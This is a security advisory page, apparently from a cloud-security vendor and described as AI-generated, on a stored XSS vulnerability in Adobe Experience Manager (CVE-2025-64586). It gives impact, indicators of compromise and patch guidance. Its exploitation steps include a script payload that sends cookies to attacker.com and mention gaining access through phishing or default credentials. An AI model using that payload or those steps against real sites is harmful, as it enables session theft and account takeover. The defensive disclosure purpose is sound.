CVE-2025-64586
Adobe Experience Manager vulnerability analysis and mitigation

Overview

CVE-2025-64586 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, EUVD).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, with the scope changed — meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory, Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, leading to limited confidentiality and integrity impacts — such as session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or defacement of page content. While availability is not directly impacted, the changed scope means the attack can affect users and resources beyond the attacker's own session. The risk is elevated in enterprise AEM deployments where privileged users (e.g., administrators or content authors) may browse affected pages (Adobe Advisory).

Exploitation steps

  1. Gain low-privileged access: Obtain a low-privileged AEM user account (e.g., a content contributor or author account) through credential theft, phishing, or use of default credentials.
  2. Identify vulnerable form fields: Browse the AEM authoring interface to locate form fields that do not properly sanitize input and are rendered back to other users (stored XSS sinks).
  3. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
  4. Wait for victim interaction: The malicious script is stored server-side. When a victim (e.g., an administrator or another user) browses to the page containing the injected field, the script executes in their browser.
  5. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server, or use the victim's session to perform unauthorized actions within AEM (Adobe Advisory).

Indicators of compromise

  • Logs: AEM access logs showing POST requests to content authoring endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=) in form field parameters.
  • File System / Content Repository: Unexpected JavaScript or HTML script tags stored within AEM JCR (Java Content Repository) nodes, particularly in user-editable content fields.
  • Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; potential exfiltration of cookie or session data to attacker-controlled endpoints.
  • Logs: Browser-side console errors or network requests to suspicious domains logged in web proxy or SIEM solutions, correlated with AEM page visits.

Mitigation and workarounds

Adobe has released patches addressing CVE-2025-64586 in AEM 6.5.24.0 (for on-premises LTS deployments) and AEM as a Cloud Service version 2025.12.0. Organizations should update to these versions immediately. No specific configuration-based workaround has been published; upgrading to the patched release is the recommended remediation. Additionally, organizations should review AEM user permissions to enforce the principle of least privilege and limit who can author or publish content (Adobe Advisory).

Community reactions

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution and recommending prompt patching. Tenable published a Nessus plugin (ID 278346) to detect the vulnerability. No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64586 has been identified beyond standard patch-Tuesday coverage (CIS Advisory, Tenable).

Additional resources


SourceThis report was generated using AI

Related Adobe Experience Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48359CRITICAL9.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48310HIGH8.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48355MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48263MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48262MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management